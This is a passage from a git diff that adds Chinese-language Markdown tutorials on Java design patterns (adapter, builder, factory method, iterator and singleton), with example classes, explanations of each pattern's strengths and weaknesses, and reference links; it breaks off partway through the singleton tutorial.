+ Iphone6Plus newIphone = new Iphone6Plus();
+ newIphone.setLightningInterface(adapter);
+ newIphone.charge();
+ }
+ }
+
+
+输出结果:
+
+ 开始给我的Iphone6Plus手机充电...
+ 使用Lightning型号的充电器充电...
+ 结束给我的Iphone6Plus手机充电...
+ ==============================
+ 开始给我的GalaxyS7手机充电...
+ 使用MicroUsb型号的充电器充电...
+ 结束给我的GalaxyS7手机充电...
+ ==============================
+ 开始给我的Iphone6Plus手机充电...
+ 使用MicroUsb型号的充电器充电...
+ 结束给我的Iphone6Plus手机充电...
+
+
+上面的例子通过适配器,把一个MicroUsb型号的充电器用来给Iphone充电。从代码层面,就是通过适配器复用了MicroUsb接口及其实现类。在很大程度上复用了已有的代码。
+
+## 优缺点
+
+### 优点
+
+将目标类和适配者类解耦,通过引入一个适配器类来重用现有的适配者类,而无须修改原有代码。
+
+增加了类的透明性和复用性,将具体的实现封装在适配者类中,对于客户端类来说是透明的,而且提高了适配者的复用性。
+
+灵活性和扩展性都非常好,通过使用配置文件,可以很方便地更换适配器,也可以在不修改原有代码的基础上增加新的适配器类,完全符合“开闭原则”。
+
+### 缺点
+
+过多地使用适配器,会让系统非常零乱,不易整体进行把握。比如,明明看到调用的是 A 接口,其实内部被适配成了 B 接口的实现,一个系统如果太多出现这种情况,无异于一场灾难。因此如果不是很有必要,可以不使用适配器,而是直接对系统进行重构。
+
+对于类适配器而言,由于 JAVA 至多继承一个类,所以至多只能适配一个适配者类,而且目标类必须是抽象类
+
+## 总结
+
+结构型模式描述如何将类或者对象结合在一起形成更大的结构。
+
+适配器模式用于将一个接口转换成客户希望的另一个接口,适配器模式使接口不兼容的那些类可以一起工作,其别名为包装器。适配器模式既可以作为类结构型模式,也可以作为对象结构型模式。
+
+适配器模式包含四个角色:
+
+> 目标抽象类定义客户要用的特定领域的接口;
+>
+> 适配器类可以调用另一个接口,作为一个转换器,对适配者和抽象目标类进行适配,它是适配器模式的核心;
+>
+> 适配者类是被适配的角色,它定义了一个已经存在的接口,这个接口需要适配;
+>
+> 在客户类中针对目标抽象类进行编程,调用在目标抽象类中定义的业务方法。
+
+在对象适配器模式中,适配器类继承了目标抽象类(或实现接口)并定义了一个适配者类的对象实例,在所继承的目标抽象类方法中调用适配者类的相应业务方法。
+
+适配器模式的主要优点是将目标类和适配者类解耦,增加了类的透明性和复用性,同时系统的灵活性和扩展性都非常好,更换适配器或者增加新的适配器都非常方便,符合“[开闭原则][3]”;类适配器模式的缺点是适配器类在很多编程语言中不能同时适配多个适配者类,对象适配器模式的缺点是很难置换适配者类的方法。
+
+适配器模式适用情况包括:系统需要使用现有的类,而这些类的接口不符合系统的需要;想要建立一个可以重复使用的类,用于与一些彼此之间没有太大关联的一些类一起工作。
+
+## 参考资料
+
+[适配器模式][4]
+
+[适配器模式][5]
+
+文中所有代码见[GitHub][6]
+
+ [1]: http://www.hollischuang.com/archives/category/%E7%BB%BC%E5%90%88%E5%BA%94%E7%94%A8/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F
+ [2]: http://www.hollischuang.com/archives/1319
+ [3]: http://www.hollischuang.com/archives/220
+ [4]: http://www.runoob.com/design-pattern/adapter-pattern.html
+ [5]: http://design-patterns.readthedocs.io/zh_CN/latest/structural_patterns/adapter.html
+ [6]: https://github.com/hollischuang/DesignPattern
\ No newline at end of file
diff --git a/docs/advance/design-patterns/builder-pattern.md b/docs/advance/design-patterns/builder-pattern.md
new file mode 100644
index 00000000..23c891a1
--- /dev/null
+++ b/docs/advance/design-patterns/builder-pattern.md
@@ -0,0 +1,266 @@
+
+## 概念
+
+建造者模式(英:Builder Pattern)是一种创建型设计模式,又名:生成器模式。GOF 给建造者模式的定义为:将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。这句话说的比较抽象,其实解释一下就是:将建造复杂对象的过程和组成对象的部件解耦。
+
+## 用途
+
+假设现在我们是一家网游设计公司,现在我们要"抄袭"梦幻西游这款游戏,你是该公司的游戏角色设计人员。你怎么设计出该游戏中的各种角色呢? 在梦幻西游来中包括人、仙、魔等种族的角色,而每种不同的种族的角色中又包含龙太子、逍遥生等具体的角色。
+
+作为一个出色的开发人员,我们设计的角色生成系统应该包含以下功能和特性:
+
+> 为了保证游戏平衡,所有角色的基本属性应该一致
+>
+> 因为角色的创建过程可能很复杂,所以角色的生成细节不应该对外暴露
+>
+> 随时可以新增角色
+>
+> 对某个具体角色的修改应该不影响其他角色
+
+其实,对于角色的设计,我们可以使用抽象工厂模式,将同一种族的角色看成是一个产品族。但是,这样做可能存在一个问题,那就是我们可能要在每个角色的创建过程中都要从头到尾的构建一遍该角色。比如一个角色包含头部、身体。其中头部又包括脸部、和其他部位。其中脸部又包含眉毛、嘴巴、鼻子等部位。整个角色的创建过程是极其复杂的。很容易遗漏其中的某个步骤。
+
+那么,我们可以将这些具体部位的创建工作和对象的创建进行解耦。这就是建造者模式。
+
+## 实现方式
+
+建造者模式包含如下角色:
+
+> Builder:抽象建造者(`Builder`)
+>
+> ConcreteBuilder:具体建造者(`CommonBuilder`、`SuperBuilder`)
+>
+> Director:指挥者(`Director`)
+>
+> Product:产品角色(`Role`)
+
+[ ][2]
+
+这里采用设计角色的例子,为了便于理解,我们只创建两个角色,分别是普通角色和超级角色。他们都有设置头部、脸部、身体、气血值、魔法值、能量值等方法。值得注意的是设置脸部是依赖于设置头部的,要有先后顺序。
+
+产品角色:Role
+
+ public class Role {
+
+ private String head; //头部
+ private String face; //脸部(脸部依赖于头部)
+ private String body; //身体
+ private Double hp; //生命值
+ private Double sp; //能量值
+ private Double mp; //魔法值
+
+ //setter and getter
+ // toString
+ }
+
+
+抽象建造者:Builder
+
+ public abstract class Builder {
+
+ protected Role role = new Role();
+
+ public abstract void buildHead();
+
+ public abstract void buildFace();
+
+ public abstract void buildBody();
+
+ public abstract void buildHp();
+
+ public abstract void buildSp();
+
+ public abstract void buildMp();
+
+ public Role getResult() {
+ return role;
+ }
+ }
+
+
+具体建造者:
+
+ public class CommonRoleBuilder extends Builder {
+
+ private Role role = new Role();
+
+ @Override
+ public void buildHead() {
+ role.setBody("common head");
+ }
+
+ @Override
+ public void buildFace() {
+ role.setFace("common face");
+ }
+
+ @Override
+ public void buildBody() {
+ role.setBody("common body");
+ }
+
+ @Override
+ public void buildHp() {
+ role.setHp(100d);
+ }
+
+ @Override
+ public void buildSp() {
+ role.setSp(100d);
+ }
+
+ @Override
+ public void buildMp() {
+ role.setMp(100d);
+ }
+
+ @Override
+ public Role getResult() {
+ return role;
+ }
+ }
+
+ public class SuperRoleBuilder extends Builder {
+
+ private Role role = new Role();
+
+ @Override
+ public void buildHead() {
+ role.setBody("suoer head");
+ }
+
+ @Override
+ public void buildFace() {
+ role.setFace("super face");
+ }
+
+ @Override
+ public void buildBody() {
+ role.setBody("super body");
+ }
+
+ @Override
+ public void buildHp() {
+ role.setHp(120d);
+ }
+
+ @Override
+ public void buildSp() {
+ role.setSp(120d);
+ }
+
+ @Override
+ public void buildMp() {
+ role.setMp(120d);
+ }
+
+ @Override
+ public Role getResult() {
+ return role;
+ }
+ }
+
+
+指挥者:
+
+ public class Director {
+
+ public void construct(Builder builder){
+ builder.buildBody();
+ builder.buildHead();
+ builder.buildFace();
+ builder.buildHp();
+ builder.buildMp();
+ builder.buildSp();
+ }
+ }
+
+
+测试类:
+
+ public class Main {
+
+ public static void main(String[] args) {
+
+ Director director = new Director();
+ Builder commonBuilder = new CommonRoleBuilder();
+
+ director.construct(commonBuilder);
+ Role commonRole = commonBuilder.getResult();
+ System.out.println(commonRole);
+
+ }
+ }
+
+
+到这里,一个建造者模式已经完成了,是不是很简单?
+
+* * *
+
+再回到之前的需求,看看我们是否都满足?
+
+由于建造角色的过程比较复杂,其中还有相互依赖关系(如脸部依赖于头部),所以我们使用建造者模式将将建造复杂对象的过程和组成对象的部件解耦。这样既保证了基本属性全都一致(这里的一致指的是该包含的应该全都包含)也封装了其中的具体实现细节。
+
+同时,在修改某个具体角色的时候我们只需要修改对应的具体角色就可以了,不会影响到其他角色。
+
+如果需要新增角色,只要再增加一个具体建造者,并在该建造者中写好具体细节的建造部分代码就OK了。
+
+## 建造者模式的优缺点
+
+### 优点
+
+建造者模式的**封装性很好。使用建造者模式可以有效的封装变化**,在使用建造者模式的场景中,一般产品类和建造者类是比较稳定的,因此,将主要的业务逻辑封装在导演类中对整体而言可以取得比较好的稳定性。
+
+在建造者模式中,**客户端不必知道产品内部组成的细节**,将产品本身与产品的创建过程解耦,使得相同的创建过程可以创建不同的产品对象。
+
+**可以更加精细地控制产品的创建过程** 。将复杂产品的创建步骤分解在不同的方法中,使得创建过程更加清晰,也更方便使用程序来控制创建过程。
+
+其次,**建造者模式很容易进行扩展**。如果有新的需求,通过实现一个新的建造者类就可以完成,基本上不用修改之前已经测试通过的代码,因此也就不会对原有功能引入风险。符合开闭原则。
+
+### 缺点
+
+建造者模式所创建的产品一般具有较多的共同点,其组成部分相似,如果产品之间的差异性很大,则不适合使用建造者模式,因此其使用范围受到一定的限制。
+
+如果产品的内部变化复杂,可能会导致需要定义很多具体建造者类来实现这种变化,导致系统变得很庞大。
+
+## 适用环境
+
+在以下情况下可以使用建造者模式:
+
+> 需要生成的产品对象有复杂的内部结构,这些产品对象通常包含多个成员属性。
+>
+> 需要生成的产品对象的属性相互依赖,需要指定其生成顺序。
+>
+> 对象的创建过程独立于创建该对象的类。在建造者模式中引入了指挥者类,将创建过程封装在指挥者类中,而不在建造者类中。
+>
+> 隔离复杂对象的创建和使用,并使得相同的创建过程可以创建不同的产品。
+
+## 建造者模式与工厂模式的区别
+
+我们可以看到,建造者模式与工厂模式是极为相似的,总体上,建造者模式仅仅只比工厂模式多了一个"指挥者"的角色。在建造者模式的类图中,假如把这个导演类看做是最终调用的客户端,那么图中剩余的部分就可以看作是一个简单的工厂模式了。
+
+与工厂模式相比,建造者模式一般用来创建更为复杂的对象,因为对象的创建过程更为复杂,因此将对象的创建过程独立出来组成一个新的类——导演类。
+
+也就是说,工厂模式是将对象的全部创建过程封装在工厂类中,由工厂类向客户端提供最终的产品;而建造者模式中,建造者类一般只提供产品类中各个组件的建造,而将具体建造过程交付给导演类。由导演类负责将各个组件按照特定的规则组建为产品,然后将组建好的产品交付给客户端。
+
+建造者模式与工厂模式类似,适用的场景也很相似。一般来说,如果产品的建造很复杂,那么请用工厂模式;如果产品的建造更复杂,那么请用建造者模式。哈哈哈。。。
+
+## 总结
+
+建造者模式将一个复杂对象的构建与它的表示分离,使得同样的构建过程可以创建不同的表示。
+
+在建造者模式的结构中引入了一个指挥者类,该类的作用主要有两个:一方面它隔离了客户与生产过程;另一方面它负责控制产品的生成过程。指挥者针对抽象建造者编程,客户端只需要知道具体建造者的类型,即可通过指挥者类调用建造者的相关方法,返回一个完整的产品对象。
+
+## 参考资料
+
+[大话设计模式][3]
+
+[深入浅出设计模式][4]
+
+[建造者模式][5]
+
+
+ [1]: http://www.hollischuang.com/archives/category/%E7%BB%BC%E5%90%88%E5%BA%94%E7%94%A8/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F
+ [2]: http://www.hollischuang.com/wp-content/uploads/2016/05/Builder.jpg
+ [3]: http://s.click.taobao.com/t?e=m=2&s=R5B/xd29JVMcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67jN2wQzI0ZBVHBMajAjK1gBpS4hLH/P02ckKYNRBWOBBey11vvWwHXSniyi5vWXIZkKWZZq7zWpCC8X3k5aQlui0qVGgqDL2o8YMXU3NNCg/&pvid=10_42.120.73.203_224_1460382841310
+ [4]: http://s.click.taobao.com/t?e=m=2&s=Obpq8Qxse2EcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67utJaEGcptl2kfkm8XrrgBtpS4hLH/P02ckKYNRBWOBBey11vvWwHXTpkOAWGyim%2bw2PNKvM2u52N5aP5%2bgx7zgh4LxdBQDQSXEqY%2bakgpmw&pvid=10_121.0.29.199_322_1460465025379
+ [5]: http://design-patterns.readthedocs.io/zh_CN/latest/creational_patterns/builder.html
\ No newline at end of file
diff --git a/docs/advance/design-patterns/factory-method-pattern.md b/docs/advance/design-patterns/factory-method-pattern.md
new file mode 100644
index 00000000..f8c58453
--- /dev/null
+++ b/docs/advance/design-patterns/factory-method-pattern.md
@@ -0,0 +1,157 @@
+## 概念
+
+工厂方法模式(Factory Method Pattern)又称为工厂模式,也叫虚拟构造器(Virtual Constructor)模式或者多态工厂(Polymorphic Factory)模式,它属于类创建型模式。
+
+工厂方法模式是一种实现了“工厂”概念的面向对象设计模式。就像其他创建型模式一样,它也是处理在不指定对象具体类型的情况下创建对象的问题。
+
+> 工厂方法模式的实质是“定义一个创建对象的接口,但让实现这个接口的类来决定实例化哪个类。工厂方法让类的实例化推迟到子类中进行。”
+
+## 用途
+
+工厂方法模式和[简单工厂模式][2]虽然都是通过工厂来创建对象,他们之间最大的不同是——**工厂方法模式在设计上完全完全符合“[开闭原则][3]”。**
+
+在以下情况下可以使用工厂方法模式:
+
+> 一个类不知道它所需要的对象的类:在工厂方法模式中,客户端不需要知道具体产品类的类名,只需要知道所对应的工厂即可,具体的产品对象由具体工厂类创建;客户端需要知道创建具体产品的工厂类。
+>
+> 一个类通过其子类来指定创建哪个对象:在工厂方法模式中,对于抽象工厂类只需要提供一个创建产品的接口,而由其子类来确定具体要创建的对象,利用面向对象的多态性和[里氏代换原则][3],在程序运行时,子类对象将覆盖父类对象,从而使得系统更容易扩展。
+>
+> 将创建对象的任务委托给多个工厂子类中的某一个,客户端在使用时可以无须关心是哪一个工厂子类创建产品子类,需要时再动态指定,可将具体工厂类的类名存储在配置文件或数据库中。
+
+## 实现方式
+
+工厂方法模式包含如下角色:
+
+> Product:抽象产品(`Operation`)
+>
+> ConcreteProduct:具体产品(`OperationAdd`)
+>
+> Factory:抽象工厂(`IFactory`)
+>
+> ConcreteFactory:具体工厂(`AddFactory`)
+
+[ ][4]
+
+这里还用计算器的例子。在保持`Operation`,`OperationAdd`,`OperationDiv`,`OperationSub`,`OperationMul`等几个方法不变的情况下,修改简单工厂模式中的工厂类(`OperationFactory`)。替代原有的那个"万能"的大工厂类,这里使用工厂方法来代替:
+
+ //工厂接口
+ public interface IFactory {
+ Operation CreateOption();
+ }
+
+ //加法类工厂
+ public class AddFactory implements IFactory {
+
+ public Operation CreateOption() {
+ return new OperationAdd();
+ }
+ }
+
+ //除法类工厂
+ public class DivFactory implements IFactory {
+
+ public Operation CreateOption() {
+ return new OperationDiv();
+ }
+ }
+
+ //除法类工厂
+ public class MulFactory implements IFactory {
+
+ public Operation CreateOption() {
+ return new OperationMul();
+ }
+ }
+
+ //减法类工厂
+ public class SubFactory implements IFactory {
+
+ public Operation CreateOption() {
+ return new OperationSub();
+ }
+ }
+
+
+这样,在客户端中想要执行加法运算时,需要以下方式:
+
+ public class Main {
+
+ public static void main(String[] args) {
+ IFactory factory = new AddFactory();
+ Operation operationAdd = factory.CreateOption();
+ operationAdd.setValue1(10);
+ operationAdd.setValue2(5);
+ System.out.println(operationAdd.getResult());
+ }
+ }
+
+
+到这里,一个工厂方法模式就已经写好了。
+
+* * *
+
+从代码量上看,这种工厂方法模式比简单工厂方法模式更加复杂。针对不同的操作(Operation)类都有对应的工厂。很多人会有以下疑问:
+
+> 貌似工厂方法模式比简单工厂模式要复杂的多?
+>
+> 工厂方法模式和我自己创建对象没什么区别?为什么要多搞出一些工厂来?
+
+下面就针对以上两个问题来深入理解一下工厂方法模式。
+
+## 工厂方法模式的利与弊
+
+### 为什么要使用工厂来创建对象?
+
+> 封装对象的创建过程
+
+在工厂方法模式中,工厂方法用来创建客户所需要的产品,同时还向客户**隐藏了哪种具体产品类将被实例化这一细节,用户只需要关心所需产品对应的工厂,无须关心创建细节,甚至无须知道具体产品类的类名。**
+
+基于工厂角色和产品角色的多态性设计是工厂方法模式的关键。**它能够使工厂可以自主确定创建何种产品对象,而如何创建这个对象的细节则完全封装在具体工厂内部。**工厂方法模式之所以又被称为多态工厂模式,是因为所有的具体工厂类都具有同一抽象父类。
+
+### 为什么每种对象要单独有一个工厂?
+
+> 符合『[开放-封闭原则][5]』
+
+主要目的是为了解耦。在系统中加入新产品时,无须修改抽象工厂和抽象产品提供的接口,无须修改客户端,也无须修改其他的具体工厂和具体产品,而只要添加一个具体工厂和具体产品就可以了。这样,系统的可扩展性也就变得非常好,完全符合“[开闭原则][3]”。
+
+以上就是工厂方法模式的优点。但是,工厂模式也有一些不尽如人意的地方:
+
+> 在添加新产品时,需要编写新的具体产品类,而且还要提供与之对应的具体工厂类,系统中类的个数将成对增加,在一定程度上增加了系统的复杂度,有更多的类需要编译和运行,会给系统带来一些额外的开销。
+>
+> 由于考虑到系统的可扩展性,需要引入抽象层,在客户端代码中均使用抽象层进行定义,增加了系统的抽象性和理解难度,且在实现时可能需要用到DOM、反射等技术,增加了系统的实现难度。
+
+## 工厂方法与简单工厂的区别
+
+工厂模式克服了简单工厂模式违背[开放-封闭原则][3]的缺点,又保持了封装对象创建过程的优点。
+
+他们都是集中封装了对象的创建,使得要更换对象时,不需要做大的改动就可实现,降低了客户端与产品对象的耦合。
+
+## 总结
+
+工厂方法模式是简单工厂模式的进一步抽象和推广。
+
+由于使用了面向对象的多态性,工厂方法模式保持了简单工厂模式的优点,而且克服了它的缺点。
+
+在工厂方法模式中,核心的工厂类不再负责所有产品的创建,而是将具体创建工作交给子类去做。这个核心类仅仅负责给出具体工厂必须实现的接口,而不负责产品类被实例化这种细节,这使得工厂方法模式可以允许系统在不修改工厂角色的情况下引进新产品。
+
+工厂方法模式的主要优点是增加新的产品类时无须修改现有系统,并封装了产品对象的创建细节,系统具有良好的灵活性和可扩展性;其缺点在于增加新产品的同时需要增加新的工厂,导致系统类的个数成对增加,在一定程度上增加了系统的复杂性。
+
+文中所有代码见[GitHub][6]
+
+## 参考资料
+
+[大话设计模式][7]
+
+[深入浅出设计模式][8]
+
+[工厂方法模式(Factory Method Pattern)][9]
+
+ [1]: http://www.hollischuang.com/archives/category/%E7%BB%BC%E5%90%88%E5%BA%94%E7%94%A8/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F
+ [2]: http://www.hollischuang.com/archives/1391
+ [3]: http://www.hollischuang.com/archives/220
+ [4]: http://www.hollischuang.com/wp-content/uploads/2016/04/QQ20160412-0.png
+ [5]: http://www.hollischuang.com/archives/220http://
+ [6]: https://github.com/hollischuang/DesignPattern
+ [7]: http://s.click.taobao.com/t?e=m=2&s=R5B/xd29JVMcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67jN2wQzI0ZBVHBMajAjK1gBpS4hLH/P02ckKYNRBWOBBey11vvWwHXSniyi5vWXIZkKWZZq7zWpCC8X3k5aQlui0qVGgqDL2o8YMXU3NNCg/&pvid=10_42.120.73.203_224_1460382841310
+ [8]: http://s.click.taobao.com/t?e=m%3D2%26s%3DObpq8Qxse2EcQipKwQzePOeEDrYVVa64K7Vc7tFgwiHjf2vlNIV67utJaEGcptl2kfkm8XrrgBtpS4hLH%2FP02ckKYNRBWOBBey11vvWwHXTpkOAWGyim%2Bw2PNKvM2u52N5aP5%2Bgx7zgh4LxdBQDQSXEqY%2Bakgpmw&pvid=10_121.0.29.199_322_1460465025379
+ [9]: http://design-patterns.readthedocs.org/zh_CN/latest/creational_patterns/factory_method.html#id11
\ No newline at end of file
diff --git a/docs/advance/design-patterns/iterator-pattern.md b/docs/advance/design-patterns/iterator-pattern.md
new file mode 100644
index 00000000..d2f1a904
--- /dev/null
+++ b/docs/advance/design-patterns/iterator-pattern.md
@@ -0,0 +1,168 @@
+
+## 概念
+
+一提到迭代器模式很多人可能感觉很陌生,但是实际上,迭代器模式是所有设计模式中最简单也是最常用的设计模式,正是因为他太常用了,所以很多人忽略了他的存在。
+
+> 迭代器模式提供一种方法访问一个容器中各个元素,而又不需要暴露该对象的内部细节。
+
+那么,这里提到的容器是什么呢?其实就是可以包含一组对象的数据结构,如Java中的`Collection`和`Set`。
+
+## 用途
+
+从迭代器模式的概念中我们也看的出来,迭代器模式的重要用途就是帮助我们遍历容器。拿List来举例。如果我们想要遍历他的话,通常有以下几种方式:
+
+ for (int i = 0; i < list.size(); i++) {
+ System.out.print(list.get(i) + ",");
+ }
+
+ Iterator iterator = list.iterator();
+ while (iterator.hasNext()) {
+ System.out.print(iterator.next() + ",");
+ }
+
+ for (Integer i : list) {
+ System.out.print(i + ",");
+ }
+
+
+其实,第二种和[第三种][2]都是基于迭代器模式实现的。本文重点是介绍迭代器模式,那么先暂不介绍Java中内置的迭代器,我们尝试自己实现一下迭代器模式,这样更有助于我们彻底理解迭代器模式。
+
+## 实现方式
+
+迭代器模式包含如下角色:
+
+> Iterator 抽象迭代器
+>
+> ConcreteIterator 具体迭代器
+>
+> Aggregate 抽象容器
+>
+> Concrete Aggregate 具体容器
+
+[ ][3]
+
+这里我们举一个菜单的例子,我们有一个菜单,我们想要展示出菜单中所有菜品的名字和报价信息等。
+
+先定义抽象迭代器:
+
+ public interface Iterator {
+
+ boolean hasNext();
+
+ E next();
+
+ default void remove() {
+ throw new UnsupportedOperationException("remove");
+ }
+ }
+
+
+这里的迭代器提供了三个方法,分别包括hasNext方法、next方法和remove方法。
+
+> hasNext 返回该迭代器中是否还有未遍历过的元素
+>
+> next 返回迭代器中的下一个元素
+
+在定义一个具体的迭代器:
+
+ public class MenuIterator implements Iterator {
+
+ String[] foods;
+ int position = 0;
+
+ public MenuIterator(String[] foods){
+ this.foods = foods;
+ }
+
+ @Override
+ public boolean hasNext() {
+
+ return position != foods.length;
+ }
+
+ @Override
+ public Object next() {
+ String food = foods[position];
+ position += 1;
+ return food;
+ }
+ }
+
+
+这个具体的类实现了Iterator接口,并实现了其中的方法。具体实现就不详细写了,相信都能看得懂(请忽略线程安全问题)。
+
+接下来定义一个抽象容器:
+
+ /**
+ * Created by hollis on 17/2/18.
+ * /
+ public interface Menu {
+
+ void add(String name);
+
+ Iterator getIterator();
+ }
+
+
+这里定义一个菜单接口,只提供两个方法,一个add方法和一个getIterator方法,用于返回一个迭代器。
+
+然后定义一个具体的容器,用于实现Menu接口:
+
+ public class ChineseFoodMenu implements Menu {
+
+ private String[] foods = new String[4];
+ private int position = 0;
+
+ @Override
+ public void add(String name) {
+ foods[position] = name;
+ position += 1;
+ }
+
+ @Override
+ public Iterator getIterator() {
+ return new MenuIterator(this.foods);
+ }
+ }
+
+
+该类的实现也相对简单。至此,我们已经具备了一个迭代器模式需要的所有角色。接下来写一个测试类看看具体使用:
+
+ public class Main {
+
+ public static void main(String[] args) {
+ ChineseFoodMenu chineseFoodMenu = new ChineseFoodMenu();
+ chineseFoodMenu.add("宫保鸡丁");
+ chineseFoodMenu.add("孜然羊肉");
+ chineseFoodMenu.add("水煮鱼");
+ chineseFoodMenu.add("北京烤鸭");
+
+ Iterator iterator = chineseFoodMenu.getIterator();
+ while (iterator.hasNext()) {
+ System.out.println(iterator.next());
+ }
+ }
+ }
+ //output:
+ //宫保鸡丁
+ //孜然羊肉
+ //水煮鱼
+ //北京烤鸭
+
+
+我们通过迭代器的方式实现了对一个容器(Menu)的遍历。迭代器的好处就是我们在Main类中使用Menu的时候根本不知道他底层的实现,只需要通过迭代器来遍历就可以了。
+
+## 总结
+
+迭代器的使用现在非常广泛,因为Java中提供了java.util.Iterator。而且Java中的很多容器(Collection、Set)也都提供了对迭代器的支持。
+
+迭代器甚至可以从23种设计模式中移除,因为他已经普遍的可以称之为工具了。
+
+最后最后,迭代器模式很好用,本文中介绍了如何写迭代器模式,但是,如果你要做Java开发,请直接用Java提供的Iterator。
+
+文中所有代码见[GitHub][4]
+
+ [1]: http://www.hollischuang.com/archives/1691
+ [2]: http://www.hollischuang.com/archives/1776
+ [3]: http://www.hollischuang.com/wp-content/uploads/2017/02/iterator.jpg
+ [4]: https://github.com/hollischuang/DesignPattern
\ No newline at end of file
diff --git a/docs/advance/design-patterns/singleton-pattern.md b/docs/advance/design-patterns/singleton-pattern.md
new file mode 100644
index 00000000..399f37f6
--- /dev/null
+++ b/docs/advance/design-patterns/singleton-pattern.md
@@ -0,0 +1,332 @@
+## 概念
+
+单例模式(`Singleton Pattern`)是 Java 中最简单的设计模式之一。这种类型的设计模式属于创建型模式。在 [GOF 书][3]中给出的定义为:保证一个类仅有一个实例,并提供一个访问它的全局访问点。
+
+单例模式一般体现在类声明中,单例的类负责创建自己的对象,同时确保只有单个对象被创建。这个类提供了一种访问其唯一的对象的方式,可以直接访问,不需要实例化该类的对象。
+
+## 用途
+
+单例模式有以下两个优点:
+
+> 在内存里只有一个实例,减少了内存的开销,尤其是频繁的创建和销毁实例(比如网站首页页面缓存)。
+>
+> 避免对资源的多重占用(比如写文件操作)。
+
+有时候,我们在选择使用单例模式的时候,不仅仅考虑到其带来的优点,还有可能是有些场景就必须要单例。比如类似"一个党只能有一个主席"的情况。
+
+## 实现方式
+
+我们知道,一个类的对象的产生是由类构造函数来完成的。如果一个类对外提供了`public`的构造方法,那么外界就可以任意创建该类的对象。所以,如果想限制对象的产生,一个办法就是将构造函数变为私有的(至少是受保护的),使外面的类不能通过引用来产生对象。同时为了保证类的可用性,就必须提供一个自己的对象以及访问这个对象的静态方法。
+
+[ ][4]
+
+### 饿汉式
+
+下面是一个简单的单例的实现:
+
+ //code 1
+ public class Singleton {
+ //在类内部实例化一个实例
+ private static Singleton instance = new Singleton();
+ //私有的构造函数,外部无法访问
+ private Singleton() {
+ }
+ //对外提供获取实例的静态方法
+ public static Singleton getInstance() {
+ return instance;
+ }
+ }
+
+
+使用以下代码测试:
+
+ //code2
+ public class SingletonClient {
+
+ public static void main(String[] args) {
+ SimpleSingleton simpleSingleton1 = SimpleSingleton.getInstance();
+ SimpleSingleton simpleSingleton2 = SimpleSingleton.getInstance();
+ System.out.println(simpleSingleton1==simpleSingleton2);
+ }
+ }
+
+
+输出结果:
+
+ true
+
+
+code 1就是一个简单的单例的实现,这种实现方式我们称之为饿汉式。所谓饿汉。这是个比较形象的比喻。对于一个饿汉来说,他希望他想要用到这个实例的时候就能够立即拿到,而不需要任何等待时间。所以,通过`static`的静态初始化方式,在该类第一次被加载的时候,就有一个`SimpleSingleton`的实例被创建出来了。这样就保证在第一次想要使用该对象时,他已经被初始化好了。
+
+同时,由于该实例在类被加载的时候就创建出来了,所以也避免了线程安全问题。(原因见:[在深度分析Java的ClassLoader机制(源码级别)][5]、[Java类的加载、链接和初始化][6])
+
+还有一种饿汉模式的变种:
+
+ //code 3
+ public class Singleton2 {
+ //在类内部定义
+ private static Singleton2 instance;
+ static {
+ //实例化该实例
+ instance = new Singleton2();
+ }
+ //私有的构造函数,外部无法访问
+ private Singleton2() {
+ }
+ //对外提供获取实例的静态方法
+ public static Singleton2 getInstance() {
+ return instance;
+ }
+ }
+
+
+code 3和code 1其实是一样的,都是在类被加载的时候实例化一个对象。
+
+**饿汉式单例,在类被加载的时候对象就会实例化。这也许会造成不必要的消耗,因为有可能这个实例根本就不会被用到。而且,如果这个类被多次加载的话也会造成多次实例化。其实解决这个问题的方式有很多,下面提供两种解决方式,第一种是使用静态内部类的形式。第二种是使用懒汉式。**
+
+### 静态内部类式
+
+先来看通过静态内部类的方式解决上面的问题:
+
+ //code 4
+ public class StaticInnerClassSingleton {
+ //在静态内部类中初始化实例对象
+ private static class SingletonHolder {
+ private static final StaticInnerClassSingleton INSTANCE = new StaticInnerClassSingleton();
+ }
+ //私有的构造方法
+ private StaticInnerClassSingleton() {
+ }
+ //对外提供获取实例的静态方法
+ public static final StaticInnerClassSingleton getInstance() {
+ return SingletonHolder.INSTANCE;
+ }
+ }
+
+
+这种方式同样利用了classloder的机制来保证初始化`instance`时只有一个线程,它跟饿汉式不同的是(很细微的差别):饿汉式是只要`Singleton`类被装载了,那么`instance`就会被实例化(没有达到lazy loading效果),而这种方式是`Singleton`类被装载了,`instance`不一定被初始化。因为`SingletonHolder`类没有被主动使用,只有显示通过调用`getInstance`方法时,才会显示装载`SingletonHolder`类,从而实例化`instance`。想象一下,如果实例化`instance`很消耗资源,我想让他延迟加载,另外一方面,我不希望在`Singleton`类加载时就实例化,因为我不能确保`Singleton`类还可能在其他的地方被主动使用从而被加载,那么这个时候实例化`instance`显然是不合适的。这个时候,这种方式相比饿汉式更加合理。
+
+### 懒汉式
+
+下面看另外一种在该对象真正被使用的时候才会实例化的单例模式——懒汉模式。
+
+ //code 5
+ public class Singleton {
+ //定义实例
+ private static Singleton instance;
+ //私有构造方法
+ private Singleton(){}
+ //对外提供获取实例的静态方法
+ public static Singleton getInstance() {
+ //在对象被使用的时候才实例化
+ if (instance == null) {
+ instance = new Singleton();
+ }
+ return instance;
+ }
+ }
+
+
+上面这种单例叫做懒汉式单例。懒汉,就是不会提前把实例创建出来,将类对自己的实例化延迟到第一次被引用的时候。`getInstance`方法的作用是希望该对象在第一次被使用的时候被`new`出来。
+
+有没有发现,其实code 5这种懒汉式单例其实还存在一个问题,那就是线程安全问题。在多线程情况下,有可能两个线程同时进入`if`语句中,这样,在两个线程都从if中退出的时候就创建了两个不一样的对象。(这里就不详细讲解了,不理解的请恶补多线程知识)。
+
+### 线程安全的懒汉式
+
+针对线程不安全的懒汉式的单例,其实解决方式很简单,就是给创建对象的步骤加锁:
+
+ //code 6
+ public class SynchronizedSingleton {
+ //定义实例
+ private static SynchronizedSingleton instance;
+ //私有构造方法
+ private SynchronizedSingleton(){}
+ //对外提供获取实例的静态方法,对该方法加锁
+ public static synchronized SynchronizedSingleton getInstance() {
+ //在对象被使用的时候才实例化
+ if (instance == null) {
+ instance = new SynchronizedSingleton();
+ }
+ return instance;
+ }
+ }
+
+
